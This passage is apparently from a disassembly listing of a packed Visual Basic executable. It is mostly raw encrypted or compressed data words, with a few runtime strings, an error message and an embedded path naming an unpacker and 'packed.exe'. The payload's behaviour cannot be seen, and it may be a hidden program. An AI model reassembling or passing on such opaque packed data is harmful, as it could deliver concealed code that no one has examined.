		dd 0A43F4EA6h, 0E27789CDh, 0EC6CBD15h, 0EDD5DE0Fh, 0E32A5F58h
		dd 0B751E7h, 0BB040000h, 0CB0062AFh, 17E4748Ah,	0BF2179B5h
		dd 8DFF9BB0h, 0D23F2B1Ch, 0C373E2B9h, 8DFEAF12h, 0D129E71Ch
		dd 0D91E3A6Fh, 0D3283081h, 2E043571h, 0A75D8DDDh, 0BF7EF94Ah
		dd 978DEF47h, 0ED9EB761h, 1A93BC6Fh, 21D68259h,	97E7A5F0h
		dd 75A4797Eh, 5010775Ah, 0A791871Fh, 3D18EF8Eh,	0EB1C58BAh
		dd 0B349813Ah, 3E1AD11Ch, 0C31B57B9h, 7582D3AAh, 7681D425h
		dd 52C8A5BBh, 72C0886Fh, 0E9h, 0DC2CE983h, 0E030CD8Bh
		dd 0E232C78Fh, 0DF2FC891h, 0E030C78Eh, 0ED68A119h, 269BA0Ah
		dd 0F364B505h, 367B808h, 1794B606h, 0A9F5FB66h,	0F6633B1Ah
		dd 0D5D9ABBh, 1161AEBCh, 4E1CF3A8h, 412A5FC1h, 663D6EC6h
		dd 74A90B04h, 290019F6h, 2965C730h, 181022F8h, 84DC2137h
		dd 7C2DCC6Bh, 1C8DFB01h, 0B1629351h, 1AAE0435h,	0B6EB4D0Bh
		dd 6B425BB4h, 4CAF11EEh, 85888B34h, 0F5267EE2h,	739CCE1Fh
		dd 29D6835Ah, 0DE0110F8h, 0A030B5Ah, 52A7B14Dh,	0FA5CB4F0h
		dd 46693C5h, 51908A93h,	87C7BBC4h, 0BDD626E3h, 7876C4B8h
		dd 5E8F4A94h, 0C426E387h, 0CB2DCA8Fh, 0B1F9E1CAh, 30157B9h
		dd 945A754h, 0B80959B1h, 0FEF95CB2h, 1A8B587Fh,	8DE59FDAh
		dd 13DD2Bh, 0DBE00000h,	11388Fh, 4ED40648h, 3415339Ch
		dd 4FBCABDCh, 64B1BB80h, 749DCD02h, 7D7ADD12h, 8A85E61Bh
		dd 9562F328h, 0A057FE33h, 0A750093Eh, 0B1461045h, 0B93E1A4Fh
		dd 5451C257h, 4C18159h,	83000000h, 0C8704E9h, 99685C24h
		dd 8900001Eh, 7768241Ch, 89000079h, 0B850240Ch,	7E9436DAh
		dd 0B836F8BBh, 11C38184h, 291E5242h, 11EB81C3h,	581E5242h
		dd 240C8B54h, 6804C483h, 119Eh,	8F241C89h, 34FF0841h, 0C4815924h
		dd 4, 52241C8Bh, 0C281E289h, 4,	8704C283h, 0E95C2414h
		dd 0FFFB34C4h, 46B82B9Eh, 306240Fh, 7CE0FFC5h, 0DA0859A5h
		dd 0F204FEF7h, 472ABA75h, 2B013788h, 1351E985h,	2E3E23C9h
		dd 0F946CCBCh, 987C16FAh, 8E52F11Ch, 0DB3F848Fh, 0CC09D4F8h
		dd 44459126h, 0E86EBC59h, 9104A16Dh, 0FA635A60h, 0F97685B6h
		dd 8C12D21Eh, 7B7A4808h, 4164BE26h, 8463648Bh, 664795D8h
		dd 5F510323h, 540FE3F4h, 3B3A16A2h, 213D2E8Eh, 1754F92Bh
		dd 20405EBh, 5F06B51Ch,	8D721EA0h, 2410DE8Dh, 5820F06h
		dd 66000000h, 0F006C081h, 23758D89h, 830F061Eh,	6, 2379958Bh
		dd 85C7061Eh, 61E324Dh,	6038h, 5E8h, 80EC6300h,	958B4481h
		dd 61E1A89h, 6985C75Ah,	61E31h,	29000000h, 1E1BB595h, 0B5B5FF06h
		dd 6A061E1Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0ED54C355h, 783B6D29h,	95FF4AA5h
		dd 61E16B9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	41C35343h, 6917CADh, 22C0662Fh,	6ADF8B66h, 0C195FF00h
		dd 8B061E26h, 113DEBC0h, 0DF8A2A28h, 5D02926h, 4217614h
		dd 1404A194h, 0B4DC75D7h, 0A56F8C4Dh, 0FEA14E57h, 4C68524Fh
		dd 4E647691h, 1C134150h, 8260CA0h, 0B3E0713Dh, 498E568Fh
		dd 0BC435CFCh, 0BFE32B37h, 12E8h, 15D25C00h, 594C1094h
		dd 0B03EEE98h, 37AE68F4h, 0E9A154DDh, 7, 0CA50F18Bh, 58097184h
		dd 8E8h, 0BAC9500h, 0DB22D68Ah,	9E59B9A0h, 815A4EB0h, 6C89C0h
		dd 0A18D3100h, 0BF061E01h, 2BDA7C13h, 611CEF81h, 8D032BDAh
		dd 61E03F9h, 0AE9308Bh,	40000000h, 4FDE7509h, 0E92C5432h
		dd 6FC681D0h, 8917D629h, 1E33B99Dh, 2EEE8106h, 0B9334C08h
		dd 2FD22615h, 5E5DF681h, 0D8B60279h, 958B3089h,	61E0F19h
		dd 9835E881h, 0B5891592h, 61E3061h, 9831C081h, 958B1592h
		dd 61E2B9Dh, 1EF81h, 850F0000h,	0FFFFFFA4h, 1A57CB81h
		dd 5CE92DFFh, 0C5000001h, 4377E705h, 5F6D5C3Ah,	61706E75h
		dd 72656B63h, 63617000h, 2E64656Bh, 657865h, 3Ah dup(0)
		db    0
		db 2 dup(0), 33h
aCannotFindS_Pl	db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		db 0Bh
		dd 0E97FD3CEh, 1ACFh, 24153568h, 6C59E906h, 4068FFFAh
		dd 0E9062416h, 0FFFA6C4Fh, 24172A68h, 6C45E906h, 368FFFAh
		dd 0E9062418h, 0FFFA6C3Bh, 24184968h, 6C31E906h, 1B68FFFAh
		dd 0E9062419h, 0FFFA6C27h, 24197368h, 6C1DE906h, 0BA68FFFAh
		dd 0E9062419h, 0FFFA6C13h, 241FC368h, 6C09E906h, 4A68FFFAh
		dd 0E9062420h, 0FFFA6BFFh, 2420ED68h, 6BF5E906h, 0FC68FFFAh
		dd 0E9062421h, 0FFFA6BEBh, 24227C68h, 6BE1E906h, 5C68FFFAh
		dd 0E9062423h, 0FFFA6BD7h, 2423FA68h, 6BCDE906h, 9068FFFAh
		dd 0E9062424h, 0FFFA6BC3h, 242B0768h, 6BB9E906h, 2868FFFAh
		dd 0E906242Ch, 0FFFA6BAFh, 242CA368h, 6BA5E906h, 0E879FFFAh
		dd 1F9DB82Dh, 22C6E156h, 74F30E83h, 981D38ADh, 2D1F60D5h
		dd 63D89D22h, 8AFFBA48h, 0B52ACF6Fh, 0D94E179Ah, 0BD273DD9h
		dd 993F48E5h, 0F0730CE4h, 33B64F31h, 0BA3B5472h, 99D348F7h
		dd 0D2994B61h, 78BD3924h, 422F0AC9h, 0F04B0E24h, 134B3F42h
		dd 6B5E7FDh, 0A35EE433h, 478C00C1h, 0CFE82498h,	5C88842Dh
		dd 0FA3306B5h, 16AC8EB5h, 3306B5CAh, 90FF45E2h,	87E3ED92h
		dd 5B1E3ED5h, 0D2530C0Eh, 3E7B23h, 54C50000h, 16CEE41Ch
		dd 403924D3h, 0D2E5FFFBh, 2C713924h, 0A07BBE7Dh, 0B62D376Dh
		dd 8C2B2A89h, 1B4203E5h, 591EE7FDh, 357A3F43h, 323BD53h
		dd 0EC893307h, 0A43937A6h, 0BBF287E3h, 3C000000h, 0F5BC3B54h
		dd 0A4A35213h, 0E57E6001h, 8322C540h, 0D7B9E0A1h, 18FABB3Eh
		dd 0C035FC7Fh, 24D784A8h, 1E9FB839h, 0AADAC5Bh,	0AE344D6Bh
		dd 0B4CF44F3h, 81637931h, 0D53924CEh, 2E876990h, 2F48660Bh
		dd 1937E693h, 42DBC603h, 0A0155A3Fh, 0E1FF74C5h, 276E4FCBh
		dd 7B91C939h, 2CE61569h, 85F9A8EDh, 64092240h, 8C314CC1h
		dd 7F5827E9h, 0A4A6EC2Bh, 18201Ch, 0F8A53E00h, 21C06883h
		dd 46EF91ACh, 6E37B6D1h, 9459DEF9h, 0E1ECDE1Fh,	924995Ch
		dd 2C47BC79h, 5772E78Ah, 98980DD4h, 0E7FEE6FCh,	0A3583F48h
		dd 2FF273CBh, 0FF1C9FBAh, 0F27A2D10h, 551CA052h, 648BB273h
		dd 3B541BEFh, 5314F6BBh, 1F54E5A4h, 0A041E801h,	69D42923h
		dd 6211F69Bh, 83D72E44h, 0A4C13F43h, 57396001h,	3EE7869Fh
		dd 49F8B93Fh, 72D934Dh,	367C1933h, 0E379C9C7h, 0CA8287h
		dd 4D660000h, 9D5504A9h, 4F31F073h, 4DA60097h, 0C88F12F2h
		dd 0F8951A19h, 0AA8CB376h, 24E51814h, 1A04339h,	27CE718Ch
		dd 0AA4FF009h, 79C019FBh, 0BA2DAF8h, 21AC7D5Eh,	0AB4EEF17h
		dd 32E108C9h, 43A39336h, 27CAE33Fh, 64039C7Eh, 0F31ADBBDh
		dd 168BD044h, 568EA4DCh, 330789h, 0EC4D0CBBh, 1CB4F990h
		dd 60420AE2h, 79D8064h,	6A91D633h, 46D3364Ch, 88CD3928h
		dd 9AC516Ah, 31F47994h,	2C5DAA6Fh, 1AA2A4ECh, 1715h, 7EF3AE33h
		dd 0A71CC563h, 0D449E88Ch, 0FE7332B9h, 2A9F42E3h, 4BECF7E9h
		dd 8C1631A6h, 0BD415CD1h, 0C56883F8h, 0BA7A71Ch, 48E8EFF5h
		dd 0DAB2673Fh, 45D9F273h, 0BF014501h, 0F00B80A7h, 5B2FA44Dh
		dd 4F31F073h, 0F1C33B6h, 1FE37B3Ch, 0EA57D61Fh,	0DE997A6Dh
		dd 0D26742B7h, 0C56A83A1h, 3D537120h, 3F433554h, 9F35175Ch
		dd 33072641h, 0E5FB336Bh, 330725FFh, 0E0631257h, 7D2D2B9Ah
		dd 0C2E687E3h, 30000000h, 14CFBD54h, 31C96F7Fh,	0C89FE882h
		dd 0CCE20071h, 3F438655h, 0BB293F7Bh, 9B330745h, 62B4F600h
		dd 0E354B77h, 3B770DE7h, 6C07A187h, 7086A4CDh, 648A6A01h
		dd 1AE12EC5h, 8AE7E661h, 92B4340Dh, 0D6858E47h,	0E23B1D62h
		dd 0E6FC1A57h, 5E701ACBh, 0A9C2E025h, 0CFEA5F06h, 68C3852Ch
		dd 66117291h, 162BDC64h, 0B8490000h, 0CF6D88FDh, 1296B126h
		dd 24C3DE53h, 48ED087Dh, 0FDEF30A5h, 33A84DF2h,	5ACF8A18h
		dd 85FABF3Fh, 0A91EC76Ah, 0EDF70DA9h, 693F48E9h, 3B54DCB4h
		dd 5112F4BDh, 6100A3A2h, 0AF30C77Fh, 9CCDDB6Ch,	94A56413h
		dd 0F9779189h, 587F51C1h, 0E56D243Ah, 26433F42h, 47BCE382h
		dd 59AFD873h, 48F7A240h, 0A5C3B089h, 42F2928Fh,	0F97B943Fh
		dd 0D0158938h, 0AC7660F6h, 0C079BA2Fh, 0C65D95B3h, 0C43948C9h
		dd 0EB24B260h, 0A0E9ED6Ah, 6B0EB0AFh, 0D7B1C0BCh, 7E15B1FBh
		dd 8CD25752h, 0AF23D277h, 0A2F886Ah, 7C354B69h,	0CAABE0F1h
		dd 6E1E0433h, 9695830Fh, 0AE6F510Ch, 28468BFFh,	0E4C6730Fh
		dd 1E567423h, 0DBC6105h, 55CA6B0Eh, 2CEEB73Ah, 5EE345F9h
		dd 523BC3C5h, 70000015h, 96B126D3h, 0BFDA4F16h,	0E4FF743Dh
		dd 0C279C45h, 1051C66Bh, 0CF92131Eh, 0F6A33F5Ah, 1DC06681h
		dd 4BEA8DA8h, 243AD6D6h, 3F48EAC0h, 7309E196h, 5F16DBF0h
		dd 82E5BC54h, 0F29E995Bh, 6668F86Ah, 150CDEh, 0DC992A00h
		dd 5AC4C67h, 32F37590h,	5A1BA2BDh, 8025CAE5h, 0CDD8CA0Bh
		dd 0F5108528h, 203BB06Dh, 4B66DB9Eh, 949409A8h,	0EB02E2F8h
		dd 9F543F48h, 31F073C7h, 5643F64Fh, 6E2F11CCh, 0DBF12947h
		dd 3924D309h, 6309084Dh, 0DFF513C2h, 3F4301C2h,	9E54C90Eh
		dd 0A9CA6FD8h, 0A83A538Bh, 0DF423EEDh, 0F13924C3h, 0F63CD2ACh
		dd 0B1C9913Bh, 0D28F1388h, 55B22FF0h, 35F705FEh, 306886ADh
		dd 0CA02E2F8h, 0F54903Fh, 35D84592h, 0DBCB008h,	5D2E6011h
		dd 72F31096h, 6809B0AFh, 0BC9EC586h, 7F9DD663h,	0C8B33147h
		dd 5EA38A20h, 405991AFh, 0D89D22BFh, 6510B2B1h,	41F7BAB6h
		dd 0B4F99042h, 3BFA7D96h, 9108ABC6h, 5F2148EDh,	4344B9D2h
		dd 3A32BABCh, 58000014h, 7E990ECBh, 0A7C237FEh,	0CCE75C05h
		dd 0F40F842Dh, 0F839AE73h, 0B77AFB06h, 0DE9B2742h, 5A84E69h
		dd 33F27590h, 0C22BEBEh, 3F48EBD8h, 76F1C97Eh, 3924D26Eh
		dd 24E28060h, 6A0B2439h, 0C41C18C7h, 23924D2h, 3924B2DEh
		dd 0E1A342E5h, 0F86A1B62h, 0E2A22A2Ch, 13h, 2641B663h
		dd 4F6ADF86h, 748F04ADh, 9CB72CF5h, 0A0E1561Bh,	5F02A3AEh
		dd 8633CFEAh, 0AD70F611h, 0DB9A1D38h, 0B4CA6666h, 3F48EC30h
		dd 0B3997126h, 0B9CFED86h, 3F42D754h, 904D0F54h, 42F24C38h
		dd 139BB840h, 28B90000h, 5FDDF86Dh, 62062196h, 0B4334EC3h
		dd 0D85D78EDh, 6D5FA015h, 0A318DD62h, 0CA3FFA88h, 0F56A0FAFh
		dd 198E57DAh, 7D677D19h, 0D93F48EBh, 0F0734C24h, 33B64F31h
		dd 2A51149Ah, 8E13AF48h, 3E2047EEh, 0AB95DF27h,	71704130h
		dd 0AA4527CEh, 0FFEBC50Bh, 4B49B8FEh, 481C4D4h,	29h, 0D26A764Eh
		dd 0D6593924h, 0A3B9F10Fh, 3924D341h, 21C3D915h, 353924D3h
		dd 0A51AC9F0h, 8047758Dh, 886A39h, 1315h, 31F073CEh, 2E43F64Fh
		dd 0DF6FFA10h, 0B5F13F42h, 6C7459Fh, 0A5CC1133h, 8FE45530h
		dd 0F4F25B71h, 548C3924h, 0E897A63Eh, 6C6BB02Ch, 67A29C8h
		dd 0E48AA3C1h, 0EF9E5F41h, 31F0740Dh, 983DA4BCh, 0E0882CE8h
		dd 0BB1CC41h, 49EF886Ah, 4245C6A8h, 3A24AFCh, 2F2CCCE5h
		dd 0A9D33A67h, 49F81F09h, 0FAFEFCD4h, 91B78E01h, 1000001h
		dd 0CFED86B3h, 42DBB4B9h, 6B730A3Fh, 5597ADh, 3C78EC9Bh
		dd 67FBE26h, 465C9833h,	33067F9Eh, 254C73B8h, 8B02AA43h
		dd 24C96DECh, 335A8142h, 8405A3BEh, 9D5E40E1h, 0C3DC9476h
		dd 0D7D3823Fh, 33069009h, 8F7134BAh, 0D0B273F6h, 21FB4162h
		dd 893B8120h, 0F2CD42E3h, 0F60C2A47h, 39248A6Bh, 25BEA0E5h
		dd 4D68DD80h, 6B2305A8h, 280AAB52h, 1FDA6867h, 556E7470h
		dd 0B8572CE8h, 7A3FC072h, 4F34CB05h, 9CB1FBC4h
		dd 0E3898837h, 21C76042h, 7D5F1AA8h, 5E7795BCh,	886A19C4h
		dd 0CBE0407h, 1650C56Ch, 0A7BD79FDh, 2CE82F3Dh,	0CBADD419h
		dd 0A19F5B0Ah, 0E48E0278h, 234E96ACh, 0C3082CE8h, 0D4833EC4h
		dd 392Ch, 0F2737600h, 76F8112Fh, 892204B3h, 0DE5F41E4h
		dd 2DC495DBh, 0DD624066h, 6C029B18h, 971817C6h,	667CB4D2h
		dd 3924DB7Eh, 119493D8h, 542CA150h, 81C5CB56h, 8F0Fh, 86B35900h
		dd 0A9D08D15h, 0B63A538Bh, 9D4C0DEFh, 42F028A1h, 0D1B3F83Fh
		dd 7CF1B038h, 381ADB61h, 7658199Fh, 0FAACF2F5h,	3EA6BC72h
		dd 183306B7h, 8D54D4D3h, 1B19F166h, 0D487E3F0h,	4Ah, 0FFBD541Eh
		dd 66A86FA3h, 3EFAB968h, 0C4DD1533h, 0D91F2A21h, 0D76067h
		dd 8736F7D9h, 2577A98Bh, 26084D39h, 25775090h, 31F07339h
		dd 6F36B64Fh, 0C3090C8Dh, 0AEF415E9h, 5775FC3Ch, 2575F341h
		dd 49BE0339h, 73Fh, 52840D00h, 52000000h, 1230F173h, 0CEB075F9h
		dd 0E37C5E0Dh, 7E23C445h, 8FA8E257h, 0A83C52E8h, 0AE3924D2h
		dd 94934269h, 126B4D14h, 1029472Ah, 3A1CCB6Eh, 24D33BA4h
		dd 8CD26F39h, 0C5D41F1Dh, 0A7496281h, 0C6F3F107h, 1E633924h
		dd 555415F7h, 0BB6312D3h, 0B41h, 0F089B305h, 6E3780Eh
		dd 22BFC2D0h, 0CF740BDCh, 0C31FB23h, 5B03FB61h,	537A23E6h
		dd 0EBEAE8A4h, 32A30B70h, 0ED000000h, 0D2F089B3h, 24D328BCh
		dd 0DCF22E39h, 3924D308h, 0C4E2094Eh, 0D26E768Ch, 0A3E83924h
		dd 0A7C12F4h, 0EEE298A0h, 9E9C0B51h, 572B39A2h,	23Fh, 0F089B3A1h
		dd 0C69E3BD2h, 6B0FD5EBh, 2473925h, 0C2F91E85h,	4E805B13h
		dd 7931F073h, 0C8B64698h, 8184C5C8h, 29h, 0F089B3CBh, 0E41C5438h
		dd 88842DCBh, 3924D25Ch, 0A06B5FAh, 3924D2D7h, 547C3479h
		dd 30F17382h, 8407DF78h, 2Fh, 0F089B352h, 0BB3B5438h, 0A45314F6h
		dd 0D2717086h, 0A1C83924h, 851C54E9h, 858B7B3Bh, 0F4AC5B8Ah
		dd 7830F173h, 0D0DEBD54h, 0A9C7F74Ch, 548F67FAh, 15F7BA3Bh
		dd 0EBA9A554h, 404E3AD8h, 6A85FABFh, 0E7001EC7h, 2F4A346h
		dd 4F41E489h, 0FC1070Ah, 52EBC56Ch, 1406AFh, 9859E047h
		dd 0D5981DB6h, 2C726FF3h, 349CA52h, 2D07AE51h, 0BD273D75h
		dd 99240ECDh, 3A6A554h,	892B4462h, 464506E8h, 5E50FFA6h
		dd 19C840E5h, 37240ECEh, 0B8BB00F2h, 743DC072h,	0B97C019Ah
		dd 7A95A3D7h, 0C42036E8h, 92240ECDh, 0AB44264Dh, 6C83650Ch
		dd 0EDCFBAB3h, 6E8F63A5h, 20A34E28h, 0E28728DAh, 9A9C336Dh
		dd 9FDBC681h, 0D0535201h, 9BE0041Ah, 3176240Eh,	5E78E32h
		dd 0C7FF1D44h, 0E9C33B1h, 4D149824h, 773ABCD9h,	36AFA150h
		dd 9BCA17B1h, 4186240Eh, 0CC120F4Fh, 0F4CE971Ah, 0F6EE043Ch
		dd 60240E9Bh, 0CA6D6C1Bh, 8776D9D5h, 64BF3CE5h,	0E57D7C7Bh
		dd 0B1F1138h, 225A1439h, 0E53D80Ch, 8A397E24h, 6C0FC107h
		dd 9C33EBC5h, 7F113461h, 8F8E3D34h, 902745ECh, 7EEA767Eh
		dd 3B2DDC93h, 3FE68AA3h, 0EEED9C5Dh, 8D2DCC49h,	0E9C6D77h
		dd 7DA4E924h, 1C1F6456h, 0E08124D6h, 0F073B406h, 74FA1331h
		dd 6A9154D9h, 6018C788h, 85B34E80h, 0CF37CEECh,	9927BE1h
		dd 98AF6716h, 0C8C8B646h, 0D30B84C5h, 24D327BDh, 3BEA2F36h
		dd 3893h, 85B3DD00h, 1C5434ECh,	0D316CEE4h, 0FB403924h
		dd 0D291504Ch, 7ABF3924h, 738254C2h, 0D60E2CF5h, 0D25C889Eh
		dd 0B5FA3924h, 24D32BB9h, 37E62B39h, 8407DF7Fh,	1Fh, 0B3BD5452h
		dd 0AC91B348h, 5FD99847h, 3E545A12h, 3924D2A3h,	54B76F96h
		dd 2CF57382h, 7607DF74h, 3924E0E8h, 0FD6BC1AFh,	768FFFFFh
		dd 3924D26Ah, 59CEA399h, 9368881Fh, 0F81D36E0h,	0FFA64A49h
		dd 0AD4C651Dh, 8B595504h, 6B3924FEh, 0AE52044Ah, 0F1779207h
		dd 0E50CD558h, 6914AEC7h, 0A217C687h, 1E0071C7h, 7B51A588h
		dd 0BE04A17Bh, 1BF8514Fh, 1FA0AC4h, 0B6EE0000h,	0CEA344A0h
		dd 3DE487F6h, 0E1269A5Bh, 6B767A32h, 9A3924D2h,	9EB4D29Fh
		dd 3F42FF3Fh, 344FC409h, 760FF1B0h, 0F8112FF6h,	1E00AF6Ah
		dd 5C3EE785h, 0FD0E0DA4h, 7ECBC87Ch, 482910CFh,	5F9D142Ah
		dd 36533924h, 8CAF1ACh,	0EC2D90C7h, 926DF5F7h, 0B000000Dh
		dd 0D6F16613h, 0FF1A8F56h, 243FB47Dh, 4C67DC85h, 509106ABh
		dd 0FD2535Eh, 36E37F9Ah, 5D00A6C1h, 8B2ACDE8h, 647A1616h
		dd 3F48F180h, 734921D6h, 0FD659F0h, 8CAD06E8h, 0F32C9E7h
		dd 0ED43753h, 0E9FF1DCCh, 3F492E11h, 6914AEC7h,	0E30146BAh
		dd 0A7F26CAh, 0C2A44DEFh, 0C9898629h, 4F464172h, 0E713F114h
		dd 0D0325A6Ah, 0A28431D1h, 7FD8BAE1h, 859BB9BAh, 391FCDF0h
		dd 68814388h, 62EC28D4h, 0D0BD860h, 98290000h, 0AF4D68DDh
		dd 0F2769106h, 4A3BE33h, 28CDE85Dh, 0DDCF1085h,	13882DD2h
		dd 3AAF6AF8h, 65DA9F1Fh, 89FEA74Ah, 0DD7ED89h, 493F48F3h
		dd 0F073BC94h, 0A47C1331h, 6A29E446h, 0D52E10BFh, 0B9F10F64h
		dd 20C16881h, 250DC024h, 0A2519639h, 431147A6h,	67DC213Fh
		dd 9308A94Ch, 0D2F081B8h, 2B1E49BCh, 0EC0A4F39h, 1B9051D3h
		dd 0D3B57C00h, 0BFF7B73Ah, 0E2F83BA9h, 0DAD61B2Ch, 2CE2F80Ah
		dd 0FEE0074Ch, 0C1DF94A5h, 129CAABh, 0B6CC0433h, 26C4C72Eh
		dd 0C034E328h, 3042B97Bh, 8A8CE60Ah, 0C6802h, 40FD8600h
		dd 6908B0CBh, 8E57D9F4h, 0B67FFE19h, 0DC812641h, 29342667h
		dd 516CE184h, 748F04B1h, 9FBA2FF2h, 0E0E0551Ch,	0F2B62E44h
		dd 0EBA03F48h, 31F07313h, 5643F64Fh, 6C2D0FD6h,	649306EFh
		dd 83AAA044h, 0CB524F65h, 3DD43F43h, 0EE4BBEDBh, 8F03B27Fh
		dd 829BD54Ah, 965739FCh, 5F826278h, 8FD43307h, 445BE1E0h
		dd 0DF6470F4h, 0E55A81E0h, 617F26CAh, 1F01A048h, 663AAF5Eh
		dd 6E9786B3h, 373A0C47h, 9AC16004h, 0D9BE5573h,	2E0D49FCh
		dd 819E465Ch, 73B83925h, 697F9D4Ch, 3F43B528h, 0CB614388h
		dd 33074E15h, 45B4FA97h, 87E35947h, 24D1718Ah, 70748A42h
		dd 0E6330741h, 23CB7AA1h, 97h, 2CF5736Dh, 0B06DF50Eh, 7C5E0DCEh
		dd 7E9C45E3h, 0D2B43046h, 5DA23924h, 0B433CCAEh, 0EDCF9615h
		dd 8A23052Ch, 94CE43E2h, 8B3AE77Bh, 0E6046DCCh,	99AF17AEh
		dd 3D1B7BDBh, 41B928Eh,	88CD3F43h, 4C402FC6h, 99193F2h
		dd 0B59h, 0BA2FEA77h, 0E358199Fh, 87D24C8h, 32A74EEDh
		dd 5ED39617h, 9F202B1Dh, 0B84A65DAh, 0C96D88FDh, 1194AF24h
		dd 3FDBDB50h, 48F3BB29h, 0EE69B3Fh, 0E2CF573h, 0A28E3FD6h
		dd 497C97CCh, 24FF974Dh, 0CB7ABF39h, 664C56h, 731A0000h
		dd 924A2CF5h, 4F31F479h, 1920DF8Eh, 8D243A58h, 0B93F42EEh
		dd 0AA5918A0h, 60099B36h, 6360F369h, 0CE4BBBA5h, 0ABD28A8Ch
		dd 4B6F1EE9h, 5EE6E8F2h, 0AD9h,	3AAF6AF7h, 63D8991Fh, 88FDA448h
		dd 0B227CE6Dh, 0DE531697h, 1FA0AB9Dh, 38CAE55Ah, 49ED087Dh
		dd 91142FA4h, 0BF5B5BD0h, 48F53BA9h, 8E661B3Fh,	4F31F073h
		dd 907233B6h, 0D1B376F7h, 0FF1B038h, 8C66ACADh,	88599FA0h
		dd 80D0D36Fh, 4FB3E8B4h, 0A364466Dh, 473A38F4h,	647D81C5h
		dd 0D31127C3h, 83392553h, 7435173Eh, 2011DC5h, 0C9010000h
		dd 255431B3h, 31E02539h, 887FD879h, 95506AB1h, 0C63EF878h
		dd 0B66B819Fh, 1A3F43C0h, 0D5B77EFDh, 7D13ED14h, 269F2806h
		dd 842DCBE4h, 4E2316D5h, 0AAC0F830h, 3F6FD73Ah,	2C28D71Ch
		dd 458E0119h, 7FD8BAFFh, 0FFDA63BAh
		dd 0EA2724F8h, 0F68CA5C3h, 0F9A8694Bh, 41ECC5DBh, 0BF043F73h
		dd 3CE588A1h, 6809ACC7h, 75B95BA6h, 1DA5A7F2h, 9F9h, 5ACF8A17h
		dd 83F8B93Fh, 0A81DC468h, 0D247EE8Dh, 0FE7336B7h, 3FC0CBBDh
		dd 58EA057Ah, 690D289Dh, 0B1344FC4h, 0DF7B7BF0h, 48F61BC9h
		dd 0AE863B3Fh, 0D554F573h, 23F273B6h, 335A9756h, 68D12A0Ch
		dd 0ECD7ED0Bh, 283F4945h, 16ACC5E3h, 0B5344D6Bh, 95EEE596h
		dd 749B7855h, 20C4DA92h, 363300D8h, 0A61BCAF1h,	0C61E346Ch
		dd 903300D7h, 59D9C4Bh,	1C1D7658h, 62233957h, 8C391EFBh
		dd 0DF917FF5h, 8B3ACB86h, 9BB4D217h, 0CAE55A07h, 29B7D38h
		dd 9FF4B67Fh, 0AFEC27E7h, 95B25ADh, 0E8790000h,	1F9DB82Dh
		dd 22C6E156h, 74F30E83h, 981D38ADh, 2D1F60D5h, 63D89D22h
		dd 8AFFBA48h, 0B52ACF6Fh, 0D94E179Ah, 0BD273DD9h, 993F48F5h
		dd 0F9910CE4h, 3924D2F3h, 0BFA140E8h, 0E0DF8626h, 37B89A5Fh
		dd 4014EE34h, 1E59D91Fh, 3DF97E1Bh, 24D2BD27h, 2D549939h
		dd 19B0E806h, 0B4B890D2h, 8F8B3A03h, 3F4345F6h,	3AAAC0F8h
		dd 1C3306FFh, 6FB428D7h, 0EDB43851h, 0D79C9D78h, 9EC7A3B9h
		dd 569B3927h, 0D59C1F38h, 3A24560h, 2BC96C41h, 0DC6466ECh
		dd 8C5h, 2EA35EE3h, 57CC9513h, 84F9B83Ch, 0AE23C269h, 0DA4F1293h
		dd 1B9CA799h, 3CC6E156h, 4DF10C81h, 951833A8h, 0BB5757CCh
		dd 48F73FA5h, 8A62173Fh, 24D26A76h, 18D65939h, 24D2E202h
		dd 82F7439h, 0F081B893h, 1FDCBCD2h, 9DE23F43h, 1DC0667Fh
		dd 44E98DA8h, 86BDA62h,	0B3A80000h, 0CF961586h,	5BF38AA8h
		dd 42E6C7D6h, 273D5B0Ah, 3F43F8B6h, 0D56B4D92h,	3307A10Bh
		dd 1B3169A1h, 3307A0C9h, 142A488Dh, 3307A0D0h, 0F924186h
		dd 65C5AC9h, 3E1587E3h,	5F000001h, 4C2EF373h, 90722FB3h
		dd 7A3FBFD8h, 8829CCCBh, 0C4690DA6h, 0EFB2344Fh, 0EF86B40Dh
		dd 0D361BBD1h, 29653924h, 24D2D113h, 41408539h,	5516F8BDh
		dd 22DE4C2Eh, 0D310D4EAh, 1463924h, 0D789CF52h,	0E31D9257h
		dd 0D34F95ABh, 6C073924h, 3DEA2D9Eh, 0CD7CA30Bh, 0A38528CEh
		dd 2584CB0Dh, 0ACF21339h, 3CB174FAh, 7A98D961h,	25828864h
		dd 0B799DE39h, 0CCE2841Eh, 39258318h, 5DD2F93Eh, 13F5A042h
		dd 640A235Bh, 221EDFC1h, 392582C2h, 0A1A04F94h,	775571Eh
		dd 54EEA0E6h, 891934A9h, 0A891EACCh, 8CB01E75h,	537AE2A4h
		dd 8921F35h, 195E3F43h,	0AC516AA4h, 0FCE8FC12h,	296E3306h
		dd 0CE545302h, 5CDCF513h, 43F2B395h, 43320861h,	31968E25h
		dd 28A362F6h, 0A3455B79h, 0BB330794h, 0A205876h, 330794DAh
		dd 164E17Ch, 467CA882h,	208E701Fh, 7B07B9FFh, 942E49BEh
		dd 0AB2CBE9h, 19C8896Bh, 31477F37h, 3307D1B3h, 0DDE15EA3h
		dd 0DF3F2D1Ch, 237F6A5h, 683D5371h, 0C6392552h,	4E100FADh
		dd 0D9C13A86h, 0B529D8FFh, 41A5270h, 2CE8D5E0h,	0D823176h
		dd 30A550F2h, 57CC9115h, 0ED86B383h, 638197CFh,	0F33924D2h
		dd 0A9E1FFAEh, 19E17112h, 0CF7E9A42h, 43AA96D3h, 0D2E8203Fh
		dd 33079212h, 0DC50FF44h, 0A41F3CBFh, 0A460E66Fh, 3CFDDF06h
		dd 97DC081Eh, 357A3307h, 15932C0Eh, 1ADAF174h, 1B7B3ABDh
		dd 6EE30A31h, 0EC85B39Ah, 0D26C740Ah, 0A3403924h, 0D4F0EE5Dh
		dd 40A981C5h, 0F3000000h, 0E2CF573h, 0C0E28A77h, 0D0E60DC3h
		dd 39250114h, 27D6FD42h, 135AF45h, 0A0C13925h, 8900A85Ah
		dd 9E5F41E4h, 36EA0277h, 0E5392522h, 0FFFFB8F7h, 0A2465FFFh
		dd 0DFEEF60Ch, 23683924h, 73954DFCh, 907931F0h,	8A5441D8h
		dd 0BFF45D2h, 85B3A45Ch, 0EFD19014h, 0B41044D8h, 0BBE2749Ch
